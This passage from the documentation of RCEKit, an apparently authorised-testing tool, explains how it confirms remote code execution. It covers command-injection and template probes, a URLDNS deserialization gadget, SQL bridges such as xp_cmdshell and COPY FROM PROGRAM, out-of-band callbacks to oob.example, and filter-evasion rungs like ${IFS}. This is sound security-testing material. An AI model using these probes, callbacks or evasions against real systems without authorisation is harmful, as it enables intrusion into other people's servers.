  --file-write-path /tmp \
  --file-read-url "https://target/download?f={path_enc}"
```

Placeholder	Expands to	Suits
{name}	the generated filename	a handler that takes a filename
{path}	the full server-side path	an LFI-style parameter
{path_enc}	that path, percent-encoded	a handler that rejects raw separators

Only those three are substituted, so a URL that legitimately contains braces survives unchanged.

`--webroot` + `--web-base-url` remain as the **web-root alias** — a web root is just the case where the read URL is the base plus the filename, so `--webroot DIR --web-base-url BASE` is exactly `--file-write-path DIR --file-read-url 'BASE/{name}'`. Existing command lines are unaffected. The alias and the general form are resolved in one place, so they cannot drift.

Why it matters: requiring a writable web root ruled out the LFI endpoint, the download handler, the attachment fetcher and the `/tmp`-backed preview — on exactly the internal, no-egress targets this method exists for. Measured against a target with a download handler and nothing serving the write directory, the web-root form confirms 0 and the general form confirms 7.

This method changes target state (one file per confirmed probe), so it stays gated on the operator naming both halves, and **every finding prints its own cleanup command**.

Deserialization sinks, and the verdict that is not RCE

Deserialization RCE (fastjson, shiro, weblogic, jenkins) cannot be confirmed by the value-oracle model: the payload is a serialized object graph and gadget selection is classpath-specific, so whether execution is reachable depends on jars RCEKit cannot see. That stays out of scope. What is *in* scope is the honest middle step — showing the endpoint parses the data at all, which is a real finding and the prerequisite for every gadget chain.

`--methods deser` therefore **never emits executed**. Its strongest outcome is its own verdict:

```
[detect] 1 DESERIALIZATION SINK(S) – NOT proof of execution:
[deser/raw] r00ABXNyABFqYXZlLnV0aWwSGFzaElhcA... (java: the target resolved
rk7f2a91c3b8.oob.example, so it reconstructed an attacker-supplied object graph ...)
→ the endpoint reconstructs attacker-supplied object graphs. Reaching RCE from
here depends on gadgets in the target's classpath, which is outside what
RCEKit confirms.
```

`deserialization-sink` sits below `executed` in the collapsed verdict: it is *proven*, and `executed` stays reserved for execution.

It used to sit below `needs-review` too, on the argument that a suspected RCE outranks a proven non-RCE in triage. That argument held while `time`, `boolean` and `write`'s uninterpreted file all reported `needs-review`. Since 3.0.0 each of those has its own tier, and the one verdict left under `needs-review` is this method's own shape fingerprint — a suspected *deserialization*. So `deserialization-sink` now outranks it: the proof of a thing outranks the guess at the same thing.

Two oracles, of deliberately different strength:

Oracle	Needs	Reaches
shape	nothing	<code>needs-review</code>
dns	a delegated <code>--oob-host</code> name and a listener	<code>deserialization-sink</code>

shape sends **four** payloads per ecosystem — a well-formed object stream, the same stream truncated, and the format's magic bytes followed by random noise of the same length, that last one sent **twice** so it brackets the pair — and asks whether the endpoint answers the well-formed one differently from *both* others. A parser does; a parameter that is merely stored treats all of them as opaque text. With the five ecosystems the corpus ships that is **20 requests per carrier**, not 15; `--deser-formats` narrows it.

The two noise payloads are one body sent twice, byte for byte, and they bracket the pair because the differential is read *across* requests: anything that changes with the request index rather than with the payload — a rate limiter backing off, a filling log — lands on whichever form goes last. An endpoint that answers the same probe two different ways did not hold still, and that carrier is reported `inconclusive` rather than read. A response carrying the probe back is `inconclusive` for the same reason, decided against the payload-free control so that page content merely containing a format's magic is not mistaken for it. The magic is looked for as the transport context sent it — escaped for JSON, XML, YAML or GraphQL where that applies — and through base64, hex, URL and HTML wrappings, so an endpoint that hands the probe back inside its own encoding is still read as an echo.

Response signatures drop long digit and hex runs, so request ids and timestamps on an otherwise identical error page do not make every endpoint look like a parser. It is a fingerprint, not proof, and it never gets promoted.

dns sends a gadget whose only side effect is a name lookup. For Java that is URLDNS — a `HashMap` holding one `java.net.URL`, where `HashMap.readObject` hashes the key, `URL.hashCode` asks for the host address and the JVM resolves the name. It references no class outside `java.util / java.net`, so there is nothing in it that can run. For polymorphic JSON it is a `java.net.InetAddress` autotype. A callback proves the object graph was reconstructed — and only that.

The Java stream is built in Python rather than declared in the corpus because the URL host is length-prefixed *inside* the stream and changes per probe, so there is no static string to declare. Its constant parts are the exact bytes OpenJDK's own `ObjectOutputStream` produces for that graph, and the generated stream was verified against OpenJDK 21: it deserializes to `HashMap{http://<host>/=rk}` and issues a DNS query for `<host>`, with no code execution.

Ecosystems ship in the corpus (`deser_probes`): `java` , `php` , `dotnet` , `python_pickle` , `fastjson` . Only `java` and `fastjson` have a non-executing DNS gadget — PHP and .NET chains all run through magic methods or type confusion, so there is no honest DNS-only probe for them and the shape oracle is all they get.

Query-language bridges

Several RCEs pass through a query language before reaching the OS: Postgres `COPY ... FROM PROGRAM` , MSSQL `xp_cmdshell` , `XXE expect://` . A bridge is a **carrier, not an oracle** — it wraps the command the methods already build, so `reflected` , `time` and `oob` prove execution through it and inherit every tier guarantee rather than re-deriving one.

Bridge	Shell it reaches	Safety	Needs
<code>postgres_copy_program</code>	<code>/bin/sh</code>	<code>stateful</code>	superuser, or a role in <code>pg_execute_server_program</code>
<code>mssql_xp_cmdshell</code>	<code>cmd.exe</code>	<code>intrusive</code>	sysadmin, and <code>xp_cmdshell</code> enabled
<code>xxe_expect</code>	<code>/bin/sh</code>	<code>intrusive</code>	PHP with the <code>expect</code> extension, external entities enabled

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target/search?name=FUZZ" --contexts sql \  
  --methods time,oob --bridges auto \  
  --verify-active-risk stateful --oob-host oob.example
```

Off by default, and that is design rather than caution: a bridge payload is SQL or XML syntax, so on an ordinary shell sink it is a request that cannot confirm.

Three things follow from bridges being carriers:

- **A bridge only ever gets a core written in its own dialect.** `xp_cmdshell` hands its argument to `cmd.exe` , so it takes the `cmd` core; `COPY FROM PROGRAM` takes the POSIX one. Pairing them the other way sends an inert `$(a+b)` into `cmd.exe` — the exact failure the sink shell split exists to stop.
 - **No separator.** Inside `COPY ... FROM PROGRAM '...'` there is no running command to break out of, so the bare core is the probe. The record's *context* still applies, which is what makes `--contexts sql` and a bridge compose rather than each reinventing the other.
 - **The safety ordering governs them** exactly as it governs every corpus payload. A `stateful` bridge creates an object and needs `--verify-active-risk stateful` ; the pre-flight names the tier each held-back bridge actually requires, and every finding through a stateful bridge carries the statement that removes what it made — including on the `time` method, whose one result covers a whole probe series.
- Which oracle to reach for.** `reflected` needs the program's *output* to reach the response, and a statement injected alongside the application's own query returns through a cursor the

application never reads — so it ships (one request, and some drivers do return the last result set) but it is the weakest of the three. `time` and `oob` work with nothing rendered: `COPY FROM PROGRAM` and `xp_cmdshell` both block until the program exits, and a callback is made by the target itself.

Not built, deliberately. MySQL UDF execution is a multi-stage chain — write a shared object into the plugin directory, then `CREATE FUNCTION` — not something a single probe can carry, so there is no stub for it. MongoDB `$where` is a boolean-only channel (its JS sandbox cannot reach a shell), so it needs a different oracle rather than this one — which is what `--methods boolean` is; `mongo-express/CVE-2019-10758` is a plain JS `eval` sink that `--methods eval` already covers.

When the sink answers yes or no and nothing else

Some sinks evaluate an expression and render none of it. MongoDB `$where` is the canonical one: a JS sandbox with no shell, no egress and no value in the response — only a document set that a predicate narrows. Every other oracle in this tool is structurally blind to that. `reflected` and `eval` need the computed value rendered; `time` needs a sleep; `oob` needs egress. Measured against exactly that sink:

```
[detect] methods: reflected, eval, time
[detect] sent 2883 probes (2426 result(s)): negative=2426
```

2883 requests and a clean negative on a target that evaluates whatever it is handed. `--methods boolean` reads the one channel that is left — whether the *shape* of the response changed:

```
python rcekit.py --acknowledge-consent \
  --verify-url 'https://target.example/search?q=FUZZ' --methods boolean
```

It is reported `evaluation-sink` and it will never reach `executed`. Not because the signal is weak — it is the strongest weak signal in the tool — but because of what it cannot distinguish. Against a sandboxed `eval` sink and against a plain SQLite comparison, this oracle produced an identical clean differential in 40 runs each. A query engine comparing two numbers is not remote code execution, and nothing in the response says which of the two answered. Extracting a locally computed product bit by bit through the channel does not fix that either: it recovers the product through both sinks alike, for about 80 requests and a string function a sandbox may well deny.

The naive form of this oracle is unusable, which is why none of it is naive. Sending `1==1` against `1==2` and calling a changed response a finding reported "vulnerable" in 40 of 40 runs against a target that only *reflected* its input, and in 32 of 40 against one whose response merely wobbled. Four guards, each one a measured false-finding rate rather than a precaution:

Guard	What it removes	Measured without it
Compare response structure , not the body or its length	A reflected payload changes the text between tags, and the text between tags is what the signature throws away	A length-based signature claimed a differential in 13 of 25 runs against a reflect-only target; comparing raw bodies was unusable outright, reading <code>unstable</code> in 25 of 25 runs against a target that <i>was</i> vulnerable
Several independently randomised true/false pairs	A response that varies on its own	One pair claimed a differential in 46 of 200 runs against a noisy target; two claimed none in 200
Randomised firing order	A target that never reads the payload but degrades part-way through the run — a rate limiter, a filling log	An ordered true-then-false series claimed a differential in 100 runs of 100
An anchor before and after the series, each a <i>different</i> true predicate	The same, structurally rather than probabilistically	Shuffling alone still left 2 in 100, which is just the chance a shuffle lands separable. Repeating one anchor payload instead of varying it is worse than weakening the guard — a cache keyed on the query string replays the opening answer, and the check measures the cache: 36 catches in 39 runs live, 0 in 39 behind a cache

With every guard on, a genuinely evaluating target still read as a differential in 100 runs of 100 — the guards cost nothing they were not meant to cost.

A channel it cannot read is `inconclusive`, never `negative`. If the same probe draws two different shapes, or the shape moves while the series is being fired, the run says so. `negative` asserts the probes reached the target and found nothing; here they reached it and no answer could be read out of them, which is the same false clean `blocked` and `nothing-tested` exist to prevent.

AND is safe, OR is not, and both are needed. The probe breaks out of a condition the application already wrote, and the connective is this method's equivalent of a command separator:

Connective	Differentiates when	Rung
bare (the value <i>is</i> the predicate)	the sink takes the whole value	<code>safe</code>
<code>&&</code> , <code>and</code>	the application's own predicate is true	<code>safe</code>
<code>\</code>	<code>\</code>	<code>,</code> <code>or`</code>

They are complements, not alternatives — dropping `OR` is a blind spot and not a saving. It is held at the top rung because a true predicate `OR`-ed into a `DELETE ... WHERE` took a table from 3 rows to 0, where the same predicate `AND`-ed into it left all 3. The run names every shape it held back and the flag that sends it, so this is a decision the operator makes rather than one made for them.

Cost. One series per *context*, not per carrier — a predicate carries no shell dialect, so the same context under `unix` and under `windows` would be the same bytes asking the same question. At `--probe-depth full` that is 27 requests per context and at `quick` it is 15; `quick` halves the pairs and never goes below two, because one pair is the rung the measurement rejected. During injection-point enumeration it runs in the second execution wave, with `time` and for the same reason: none of its probes means anything on its own, so it is worth paying for once the cheap results-based methods have found nothing.

What it is not offered. Contexts that carry the injected value as *code* rather than as a value — `sql`, `javascript`, `php`, the shell break-out contexts, and the three shell dialects where the value simply is the command — are skipped. A bare comparison has no observable effect in any of them, so the probe would be spent asking nothing; the break-out this method needs is the connective above, which it supplies itself. Contexts that *wrap* the value stay on the predicate side however elaborate their delimiters are, `xml_cdata` and `yaml` included.

When a filter answers instead of the target

A run whose payloads are refused has learned nothing about the sink. Measured against a real command injection sitting behind a filter that 403s a space or a separator, RCEKit used to report:

```
[detect] sent 10 probes (10 result(s)): negative=10
[detect] No execution proven. The target may be patched...
```

`negative` asserts that the probes **reached** the target. They reached a filter. That is the same false clean `nothing-tested` exists to prevent, one level further in — so a refused probe gets its own verdict:

```
[detect] sent 10 probes (10 result(s)): blocked=10
[detect] 10 of 10 probe(s) WERE REFUSED BY A FILTER (HTTP 403 x10) – the
        payload-free control got through and these did not, so what was
        rejected is the payload and the sink never saw it.
[detect] Nothing was put in front of the sink, so this run says nothing about
        whether the target is vulnerable.
```

Climbing only where something was refused

A refused probe is retried up the evasion rungs before anything is concluded from it — the filter answered, so the sink has not had its say yet. Only a refused one, which is the whole design:

	measured
a rung applied to every probe	broke 8 probe shapes the canonical form executes, improved none
a rung applied to a refused probe	turned 1 confirmation into 5 against a whitespace filter

	measured
an unfiltered target	zero retries, zero extra requests

So `--evade` is a **ceiling**, not a posture. Every probe goes out canonical; `low` removes whitespace (`${IFS}`), `high` also splits the command word (`ec$@ho`) for the other measured class of filter — the one matching command names — and `none` never retries. The run says how many retries it made and which rung got through, because extra traffic the operator did not ask for has to be visible.

Cost is bounded by construction: at most one request per rung per refused probe. A shape whose command uses a redirect is never retried, because `${IFS}` around `>` yields an ambiguous redirect.

The substitution stops at a quote. It used to not, and that was the whole of the 8 lost shapes: `awk 'BEGIN{print "RK" a+b "RK"}'` became `awk${IFS}'BEGIN{print${IFS}"RK"...}`, where `${IFS}` is literal text rather than an expansion and `awk` answers with a syntax error. Double quotes are left alone from the other side — `${IFS}` *does* expand inside them, so substituting there would change the string the target computes rather than the spacing around it.

The signal is differential, like everything else this tool decides: the payload-free control got through and the probe did not, so what was refused is the payload. An endpoint that answers 403 to everything — an auth wall, a path that does not exist for this session — refuses the control too and is not mistaken for a WAF.

4xx only. A 5xx is as likely to be the payload *breaking* the application, which means it reached something, and reading that as blocked would hide the one response saying the sink is live. There is no vendor list and no block-page fingerprint: a status the control did not get is the whole signal.

A run where **some** probes got through stays a real `negative` — the sink saw those and did nothing — and the refusals are still reported, because a ladder that shrinks quietly is indistinguishable from a target with nothing to find.

Second-order execution: the observed channel

Execution frequently happens on a **different request** than injection — stored SSTI rendered on a profile page, a payload written to a log a template engine later renders, a queued job run asynchronously. The engine diffs the response it injected into, so every one of those reads `negative` however exploitable the target is.

A run that finds nothing says so. Against a target that stores on one endpoint and renders through a shell on another, every method is `negative` — including `time`, `oob`, `lookup` and `file`, because the execution does not happen on the request being measured. So a run with no confirmation names this flag, and unlike the blind-sink list it is not gated on which methods have already run: no method rules out *the execution happens elsewhere*, and the operator who has tried the expensive ones is the one with nothing else left to hear.

The wording follows what the run **observed**, which is recorded rather than guessed:

What came back	What the run says
the input, verbatim	the target reflects and does not execute; if that value is rendered elsewhere, the execution would show there
none of the input	the target accepted it and returned nothing, so this response cannot show what became of it
not observed	only aggregate methods ran, so the run claims neither

A swallowed input is equally a blind sink or a stored one — `ping <input>

/dev/null` returns nothing either — so both possibilities are named and neither

is picked.

--observe-url names the endpoint where the execution surfaces:

```
python rcekit.py --acknowledge-consent \
  --verify-url "https://target/bio?bio=FUZZ" --methods eval \
  --observe-url "https://target/profile/42"

# ...or a captured request, when that page needs a session
python rcekit.py --acknowledge-consent \
  --verify-url "https://target/bio?bio=FUZZ" --methods eval \
  --observe-request profile.txt --observe-poll 10 --observe-timeout 120
```

It is still fully differential, which is why it can legitimately reach `executed` rather than a weaker tier:

- the value was computed by RCEKit from operands random to this probe;
- it is absent from a snapshot of that endpoint taken ****before any probe was sent**** — after would already contain what the control is meant to rule out;
- and a probe's value is looked for there ****only when the probe's own payload does not contain it****.

That last rule is the one that matters. `file` and `oob` expect a random *token* that sits verbatim in the payload, so a target that merely stores the payload and renders it back would hand that token straight to the observed page and every such probe would confirm without executing anything. The computed-value methods are safe for the opposite reason — reflection returns `$((a+b))`, never the sum — so the rule selects them without naming them, and a method added later inherits the right answer.

The channel is read **twice**, because the two real shapes need different things:

Store shape	Example	Read by
overwrite	a profile field, a single setting	one read after each probe
append / async	a log, a comment list, a queued job	the polling loop after the batch

Without the per-probe read, an overwriting store keeps only the last probe by the time a batch poll runs, so the oracle would confirm nothing on the shape it most exists for. The cost is one extra request per probe — and only for probes that are eligible at all and not already confirmed in-band, so `file` and `oob` add nothing.

Observing is **additive**: the in-band verdict is computed exactly as before and only a non-executed one can be upgraded, so a run without the flag is unchanged and a run with it can only gain findings. Each probe's result carries an `observe_status` in `--detect-json` — `executed`, `polled` (read, value not there), `in-control`, `not-observed` (not eligible) or `unreachable`. If the endpoint never answered, the run says so outright: negatives decided without ever reading the observed channel are not second-order negatives.

Write-then-execute: proving a write primitive is RCE

`--methods write` is the **inverse** of `file`, and it covers a class the others are structurally blind to. `file` assumes execution exists and uses a write as proof of it. `write` assumes a **write primitive** exists — the vulnerable request *stores* a file rather than evaluating anything — and uses execution of the written file as proof of RCE. `tomcat/CVE-2017-12615` (PUT a JSP), `activemq/CVE-2016-3088` and `weblogic/CVE-2018-2894` are all in this family. Nothing in the vulnerable response is computed, so `reflected` and `eval` correctly return `negative` on a target that is fully exploitable.

The probe is the file's *content*: a one-liner that computes a product on random operands, delivered through the ordinary injection point. RCEKit then fetches the file and reads the answer in three tiers:

The fetched file contains	Verdict	Means
the product	<code>executed</code>	the file was written and executed
the one-liner, verbatim	<code>file-write</code>	arbitrary file write; the directory is served but not interpreted
neither	<code>negative</code>	no write, or the file is not served at that URL

The middle row is the reason the method exists, and it is never merged into either neighbour: an upload directory that is served but not interpreted is a real finding and is not remote code execution.

```
# Your own request writes the file; --write-url-template says where it lands
python rcekit.py --acknowledge-consent \
  -r put-jsp.txt --methods write \
  --write-url-template "https://target/uploads/rcekit-probe.jsp"
```

The filename is yours, not RCEKit's. Delivery substitutes one injection point, and every target in this class needs two locations — the name in the request line or a form field, the content in the body — so RCEKit writes the content into whatever file your own request already names. That also means one artifact per run rather than one per probe, which is the right trade for a method that changes target state.

`--write-lang` picks the file types; `auto` reads the extension off the read-back URL. `jsp`, `aspx` and `erb` share the `<%= %>` delimiters, so their probes are byte-identical and cost one request between them; `php` is `<?= ?>`; `jspx` is XML (`<jsp:expression>`) because a `.jspx` container parses the file as a document and never sees scriptlet delimiters. With no extension to read, `auto` writes all five — three requests.

The content carries **no whitespace** — `<?=a*b?>`, not `<?= a*b ?>` — because the injection point is yours and some of them tokenise before they write. RRDtool is the case that settled it: reached through Cacti's `right_axis_label`, it builds the file from a `LINE1:out:<content>` argument, writes the spaceless form whole, and rejects the spaced one outright with `ERROR: 'a*b' is not a valid function name`. Whitespace inside those delimiters is optional, so nothing is given up. `jspx` is the exception: it is an XML document whose root element carries namespace attributes, and a sink that splits on spaces was never going to carry one.

Like `file`, this method changes target state, so it stays gated on the read-back URL being named, prints what it is about to do first, and attaches a cleanup line to **both** the `executed` and the `file-write` tiers — a `file-write` here means the file is on the target, just not interpreted.

Enumerating injection points

`-p NAME` needs you to already know which parameter is the sink. A real capture carries ten to forty candidates, and some of the highest-value classes inject through a **header** — Shellshock through `User-Agent`, Struts2 S2-045 through `Content-Type` — or through a JSON leaf several levels down that no top-level parameter name addresses.

```
python rcekit.py --acknowledge-consent -r request.txt -p all --methods reflected
```

Candidates are tried in expected-yield order, each rewritten in **its own** serialization rather than blanket-encoded:

Kind	Addressed as	Rewritten by
query	parameter name	the <code>a=1&b=2</code> encoder
json	path — <code>user.profile.name</code> , <code>tags[1]</code>	the JSON encoder, re-serialised
form	field name	the <code>a=1&b=2</code> encoder
multipart	part name from <code>Content-Disposition</code>	the part's own body, re-serialised with CRLF delimiters
cookie	crumb name	the <code>Cookie</code> header, other crumbs untouched
header	header name	single-line header escaping
path	segment index	the URL path (opt-in, see below)

A JSON leaf is only *replaced*, never created: assigning to a missing key would test a field the application never sends.

A **multipart** body is recognised from `Content-Type`, and each part is a candidate — including a file part, whose content is the value under test while its `filename` and `Content-Type` stay as captured. The body is re-serialised with the CRLF delimiters RFC 2046 requires, which a capture loses: `-r` reads the whole request with its line endings normalised. Part *content* is left character for character, so a lone newline inside an uploaded text file survives. The payload-free control is rendered the same way, so it differs from the probe in the field under test and in nothing else.

A **GraphQL** body is enumerated as JSON, then reordered. `variables` carries the values the operation is called with, and those reach resolvers; `query` is the operation document itself, so a payload there *replaces* it and the server answers with a parse error before a resolver runs. `operationName` then names an operation that is no longer in the document. Both are moved behind the variables, **not dropped** — a server that logs the query document before parsing it is reachable through exactly that field, which is the route Log4Shell took through access logs — so `--max-points` cuts the least likely to pay first. A plain `{"query": ...}` body with no `variables` is left alone: it is as likely to be a search API, and there the query field is the one worth testing.

`Host`, `Content-Length`, `Cookie` and the hop-by-hop headers are never candidates — injecting into those changes the request's plumbing rather than testing the app, and two of them are rebuilt by the delivery layer.

Path segments are off by default (`--include-path-segments`): rewriting one usually just produces a 404, which costs a request and proves nothing.

The cost is printed before the traffic, because enumeration multiplies an already-laddered probe count by the number of candidates:

```
[detect] enumerating 6 injection point(s) x 1 method(s)
[detect] cost: 6 points x ~61 probes = at least 372 requests (each point carries its own
payload-free control)
[detect]   query param 'view': negative (61 probes)
[detect]   header 'User-Agent': executed (61 probes) <-- EXECUTED
```

Each candidate gets **its own** payload-free control: differencing a header probe against a query probe's control would compare two different responses and prove nothing. Use `--max-points` and `--max-payloads` to bound a run, and `--verify-delay` to pace it — the delay applies across the whole enumeration.

Stopping once something is proven

Two stops, and they answer different questions.

A method that would only rename a finding is skipped. Cheap methods run first per candidate — `reflected` and `eval` cost one response each, `time` sleeps and `oob` waits for a callback — and once a candidate has proven execution, the slow ones are not paid for.

Which methods those are comes from the tier each one declares, not from a list of names. `reflected`, `eval`, `file`, `write`, `oob` and `time` all answer *did this target execute my input* and differ only in how hard they look, so a second one is a second name for one finding.

`lookup` and `deser` **answer something else** — a lookup sink and a deserialization sink, each with its own remediation — and are never skipped for this, however thoroughly execution is proven. They used to be, for sitting on the expensive side of a hand-written list, so a candidate that confirmed RCE was never asked whether it was also one of those.

A carrier that has confirmed stops there (`--confirm-depth first`, the default). One carrier is one method in one environment and context. Every other carrier still runs in full, so a sink reachable only as `nodejs` is never missed because `unix` answered first — the stop is per carrier and never per candidate.

This is not a saving. Measured against an executing target, one candidate spent 115 of its 120 probes after the first confirmation and printed 32 confirmations, 29 of them duplicates inside a single carrier. Those probes were not idle: they were spent instead of reaching carriers never examined at all. At the same budget the run went from 4 carriers examined to 23, and from 4 environments reached to 9.

Pass `--confirm-depth every` to map every shape a sink accepts, which is what writing a proof of concept by hand needs. Either way the run reports how many shapes it held back and which carriers stopped.

`--max-payloads` is spent **per question**, not per wave and not per candidate. Per wave it quietly doubled — a run capped at 5 sent 10 probes to every candidate that did not confirm. Per candidate it starves the different question: the cheap methods eat the whole allowance and `deser` never runs. So every method asking about execution shares one allowance, each different property gets its own, and the cost line says how many questions are being asked.

It is spent in requests, and it used to be counted in findings. For a method that answers from each probe those are the same number, so nothing showed. An aggregate method reports one row however many probes it cost, so the whole series went out and the cap noticed afterwards — at `--max-payloads 1`, `time` sent 12 requests, `deser` 15 and `boolean` 27, while the cost line printed before any traffic said 1.

What the budget may do about a series depends on where the method's answer lives, which the class already knows:

The method answers	Example	A budget that runs out
from each probe	<code>deser</code> , <code>lookup</code> , <code>oob</code>	stops the series; the probes already sent keep their verdicts
only from the whole series	<code>time</code> , <code>boolean</code>	declines the measurement by name and reports nothing for it

The second row is not caution. `time` reports `negative` from a screen with no regression behind it, and from a regression short of four samples — honest answers to "no separator delayed", and false cleans when the real reason was that the budget ran out. A `boolean` series whose anchors never went out reads the same way. So a wave that does not fit abandons the measurement, and the run names it and the flag that bounded it:

```
[detect] sent 0 probes (1 result(s)): inconclusive=1
[detect] --max-payloads held back 1 measurement(s) that could not have reached a
        verdict within the budget:
[detect] 1 x boolean/raw could not finish its series within --max-payloads
        (needed 27 requests, budget 3)
```

The summary counts what the target received, not how many rows came back. They are the same number only while every method answers from each probe: an aggregate method reports one row for a whole series, so a `time` run that put 20 requests on a target used to announce 5. An evasion retry is a request too, and is charged to the same budget -- checked per rung, because one refused probe can be retried at `low` and again at `high`.

An abandoned measurement leaves a row, not a silence. Dropping it quietly let the *other* carriers describe the run, and the other carriers are the ones with nothing to find: measured at `--max-payloads 12` against a sink that honours an injected sleep, the unix carrier's regression was abandoned and a windows carrier's honest "no separator delayed" became the run's verdict — `negative`, for a target that was vulnerable. The row is `inconclusive`, which is what an abandoned measurement is in the word the tool already uses, and it outranks `negative`, so one held-back measurement stops the whole run reading clean.

Single-point runs (`-p NAME`, or a `FUZZ` marker) get the per-carrier stop too; the method skip is enumeration-only, because there is no next candidate to spend the budget on.

Expression-engine carriers

The `eval` method injects a product of two random operands in each common template syntax and confirms that the **product** comes back. Most engines need nothing more than that. Five do, and `--eval-engines` controls the extra probes for them.

A carrier exists for exactly one reason: **the engine is vulnerable and the bare probe cannot see it**, so a target that really does evaluate the template reads as `negative`. That happens two ways — the engine computes the product but does not print it bare, or it has no arithmetic operator at all and multiplies some other way.

Engine	Every bare form returns	Carrier	Carrier returns
Freemarker	2,070,761,401 — grouped by locale	<code>\${(a*b)?c}</code>	2070761401
Velocity	<code>\${a*b}</code> verbatim — it is a <i>reference</i> , not an expression	<code>#set(\$rk=a*b)\$rk</code>	2070761401
Thymeleaf	<code>\${a*b}</code> verbatim — needs its inlining brackets	<code>[[\${a*b}]]</code>	2070761401
Liquid	nothing — there is no <code>*</code> operator, and <code>{{a*b}}</code> will not even parse	<code>`{{ a \</code>	<code>times: b }}`</code>
Django	nothing — <code>{{a*b}}</code> is a <code>TemplateSyntaxError</code> , by design	<code>{% widthratio a 1 b %}</code>	2070102857

Measured against freemarker 2.3.32, velocity-engine-core 2.3, thymeleaf 3.1.2, Django 6.1.1, and Liquid on both implementations — liquid 5.14.0 on ruby 3.3.12, which is what Shopify and Jekyll run, and liquidjs 10.29.0. Each corpus entry records what it was verified against.

The last two take the operands apart. Liquid multiplies with a filter and Django with a tag, so neither can be written as one expression. A carrier template may therefore use `__A__` and `__B__` as well as `__EXPR__`. A template that is not parameterised by **both** operands is skipped rather than sent: with no token it renders the same constant every probe, and with only one operand the target is never handed the other, so nothing it can compute is the product RCEKit is looking for.

What was measured and did not produce a carrier is recorded too, in `eval_carrier_survey`, so the survey is not repeated: nunjucks 3.2.4, tornado 6.5.10, mako 1.4.1, chameleon 4.6.0, smarty 5.8.4 and Ruby's ERB are all covered by a bare form already. Two engines are the other outcome — every bare form fails and **no carrier can be written**:

- **Handlebars 4.7.9** is logic-less and has no built-in arithmetic helper, so no template text computes a product without a helper the application itself registered.
- **Go `text/template` 1.23** has no arithmetic operator and no multiplying builtin (`mul` comes from sprig, which the application must register). The only forms that do return the product — `{{printf "%d" <product>}}` and `{{<product>}}` — **hand the target the answer**, so a target that merely echoed them would read as `executed`.

That last one is the rule a carrier lives under: **a carrier may not carry its own result**. A test holds every shipped carrier to it. An evaluating target on either engine is out of reach of this oracle, and recording that is worth more than a carrier that cannot work.

A sandbox is not what carriers are for. A member-access sandbox restricts method and field access; arithmetic and string concatenation need neither, so the bare probe survives one. Measured:

Engine	Bare <code>a*b</code>	Runtime -class member access
OGNL, member access denied for <i>everything</i>	evaluates	blocked
SpEL <code>SimpleEvaluationContext</code> (restricted)	evaluates	blocked
Jinja2 <code>SandboxedEnvironment</code>	evaluates	blocked
Groovy, ERB, JS <code>eval</code> , Python <code>eval</code>	evaluates	—

So the bare probes already cover the sandboxed engines, and narrowing `--eval-engines` saves little — there are only five carriers, and they are the cheap part of the run.

Carriers live in `eval_carriers` in `templates/payloads.json`, so a new one is a JSON entry, not a code change. Each records `notes` (why it exists) and `verified` (what it was measured against); a carrier without measured evidence that the bare probe fails is a probe that can only waste a request.

The sink-shape ladder

An injected value lands in a *shape*, and the shape decides what can reach it. `--sink-shape` names which ones to try; `auto` tries the whole ladder.

Rung	Probe looks like	Sink shape
sep	; cmd	mid-command concatenation
raw	cmd	the input is the whole command (qx/\$input/)
chain	\	cmd , \
newline	newline + cmd	line-oriented sinks (CGI, config writers)
dq	"; cmd #	value inside double quotes
sq	'; cmd #	value inside single quotes
subshell	\$(cmd) , ` cmd `	value inside quotes, reached without closing them

`subshell` is the rung that is easy to mis-explain, so here is what it is actually for. Against `system("echo PING \"$input\"")`, with the app filtering one metacharacter:

app strips	dq	subshell
"	inert	executes
\$	executes	inert (backtick form still executes)

Both substitution forms ship because they survive different filters.

And the rung matters **per method**, which is the counter-intuitive part. `reflected`'s core is `$((a+b))`, which the shell expands inside double quotes anyway — so that method already confirmed on a quoted sink without this rung. The methods whose core has to actually *run* something are the ones that were blind there:

Core	Inside "..."	Inside \$()
<code>\$((a+b))</code> — <code>reflected</code>	expands	expands
<code>sleep 5</code> — <code>time</code>	inert	sleeps
<code>echo TOKEN > file</code> — <code>file</code>	no write	writes
<code>curl ...</code> — <code>oob</code>	no request	fetches

Narrow the ladder once the sink's shape is known — it is the request-count control. `--sink-raw` is the narrowing alias for `--sink-shape raw`, and naming `--separators` implies the sink is separator-led, so the `raw` rung is dropped unless you name it explicitly. A profile with `sink_needs_separator` drops it too. The plan is printed before anything is sent:

```
[detect] sink shapes: auto (full ladder)
[detect]   sep      '; ' -- mid-command concatenation
[detect]   raw      input is the whole command (no separator)
...
```

`eval` does not ride the ladder: its probes are template/expression syntax, not shell, so no separator or quote break-out applies to them.

The sink shell

The ladder says *where the value lands*; `--sink-env` says *which shell reads it*. Every part of a shell probe is dialect-specific, so the two questions are independent and both have to be right:

	unix	windows (cmd.exe)	powershell
computed value	<code>\$((a+b))</code>	<code>for /f ... ('set /a a+b')</code>	<code>Write-Output T1\$(a*b)T2</code>
delay	<code>sleep N</code>	<code>ping 127.0.0.1 -n k >nul</code>	<code>Start-Sleep -Milliseconds N</code>
write	<code>echo TOK > path</code>	<code>echo TOK>path</code>	<code>Set-Content -Path path -Value TOK</code>
call back	<code>curl</code> , <code>nslookup</code> , <code>host</code>	<code>certutil</code> , <code>nslookup</code>	<code>iwr -useb</code> , <code>nslookup</code>
separators	<code>;</code> , <code>`\</code>	<code>\</code>	<code>\</code>
break-out contexts	<code>sq</code> <code>dq</code> <code>subshell</code> (<code>\$()</code> and backtick)	none	<code>sq</code> <code>dq</code> <code>subshell</code> (<code>\$()</code> only)

A probe written for the wrong shell costs a request and can only come back negative — `$((a+b))` is inert text on `cmd.exe`, and `sleep 5` is not a command there at all. Three of those rows are worth stating outright because they are not symmetric:

- **cmd.exe has no comment character and no command substitution**, so the `sq`, `dq` and `subshell` rungs have no shape it can execute and no carriers are built for them. Narrowing to `--sink-env windows` therefore also narrows the ladder, and the pre-flight plan says so.

- **PowerShell has no pipe break-out.** `cmd | Start-Sleep -Milliseconds 500` is a parameter-binding error, not a fresh command with stdin attached, and it fails that way for every cmdlet the probes use. `;`, a newline and (on PowerShell 7) `&&/||` are the working ones.

- **The backtick is PowerShell's escape character**, not a substitution, so the `subshell` rung is `$( )` alone there.

